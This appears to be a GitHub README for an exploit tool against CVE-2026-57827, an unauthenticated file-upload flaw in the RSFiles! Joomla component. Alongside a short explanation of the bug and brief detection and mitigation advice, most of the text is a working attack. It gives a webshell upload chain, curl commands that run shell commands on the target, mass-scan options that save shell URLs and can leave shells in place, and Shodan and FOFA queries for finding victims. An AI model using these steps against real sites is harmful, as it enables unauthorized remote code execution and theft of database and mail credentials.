shinthink/cve-2026-57827CVE-2026-57827 — RSFiles! Joomla Component Unauthenticated File Upload RCE. Split-controller upload bypass. CVSS 9.8 | CWE-434 | com_rsfiles < 1.17.12
CVE-2026-57827 is a critical-severity (CVSS 9.8) unauthenticated arbitrary file upload vulnerability in RSFiles! (com_rsfiles), a widely used file-manager and download component for Joomla, versions < 1.17.12.
The vulnerability exploits a split-controller design flaw: RSFiles! separates its upload into two frontend tasks — a pre-flight check (permission gate + extension allow-list) and a write method (saves file to disk). The write method can be called directly, bypassing the pre-flight check entirely. No authentication, no CSRF token required.
| Version | Status |
|---|---|
| < 1.17.12 | Vulnerable |
| 1.17.12+ | Patched |
Discovered by: Phil Taylor, mySites.guru (July 10, 2026) Vendor: RSJoomla (rsjoomla.com) Component: com_rsfiles
RSFiles! splits its upload across two separate frontend tasks in /components/com_rsfiles/controllers/rsfiles.php:
// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
if (!$user->authorise('rsfiles.upload')) return false;
$allowed = ['jpg','png','gif','txt','pdf'];
if (!in_array($ext, $allowed)) return false;
return true;
}
// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
$file = $input->files->get('file');
// No permission check
// No extension check
// JFile::upload() accepts anything by default
JFile::upload($file['tmp_name'], $dest . $file['name']);
// File saved to /downloads/ (web root, .htaccess OFF by default)
}
&task=rsfiles.upload, skipping the pre-flight check entirely.JFile::upload()), which accepts any file type by default..htaccess that would stop PHP execution there is an opt-in admin setting that is OFF by default.1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
file=<shell.php> (multipart, PHP payload)
folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
→ Skips rsfiles.checkupload (pre-flight) entirely
→ No permission check → No CSRF token check → No file-type check
→ JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
.htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data
| File | Purpose |
|---|---|
/components/com_rsfiles/controllers/rsfiles.php | Controller with vulnerable upload() and checkupload() tasks |
/components/com_rsfiles/views/upload/tmpl/upload.php | Frontend upload form template (confirmed: name="file", task=rsfiles.upload) |
/downloads/ | Default downloads folder in web root (.htaccess protection OFF by default) |
/briefcase/ | Briefcase folder (also writable) |
Look for POST requests to:
index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
index.php?option=com_rsfiles&task=rsfiles.checkupload
The security checks (permission gate + extension allow-list) are a separate pre-flight step from the method that actually writes the file. Only the first one holds the checks. The second one — the one that writes to disk — could be called directly by crafting the right task parameter in the URL, bypassing all security controls.
This is a textbook example of the "checks and actions in different places" anti-pattern: the guard and the operation it's supposed to protect are decoupled, and an attacker can reach the operation without passing through the guard.
git clone https://github.com/shinthink/CVE-2026-57827.git
cd CVE-2026-57827
pip install requests
# Single target
python cve_2026_57827.py -t target.com
# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt
# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save RCE URLs to file
--threads Concurrent workers (default: 30)
--no-cleanup Leave shells on target
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_57827.py -t joomla-site.com
RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8
Host : joomla-site.com
RSFiles! : YES v1.17.11
Upload : YES
RCE : YES
Shell : https://joomla-site.com/components/com_rsfiles/downloads/.a1b2c3.php?t=token
Output : uid=33(www-data) gid=33(www-data) groups=33(www-data)
Time : 3.8s
Step 1 — Upload the shell
curl -X POST 'https://target.com/index.php?option=com_rsfiles&task=rsfiles.upload' \
-F '[email protected]' \
-F 'folder=' \
-F 'overwrite=1'
Step 2 — Access the shell
curl 'https://target.com/downloads/shell.php?c=id'
Step 3 — Execute commands
curl 'https://target.com/downloads/shell.php?c=id;hostname;uname -a'
Mitigation (if update is not possible)
# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php
# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"
FOFA: body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"
Successful exploitation yields remote code execution as the web server user:
configuration.php → database credentials, SMTP secretsNo account on the site is needed at any step. Anonymous, unauthenticated, remote.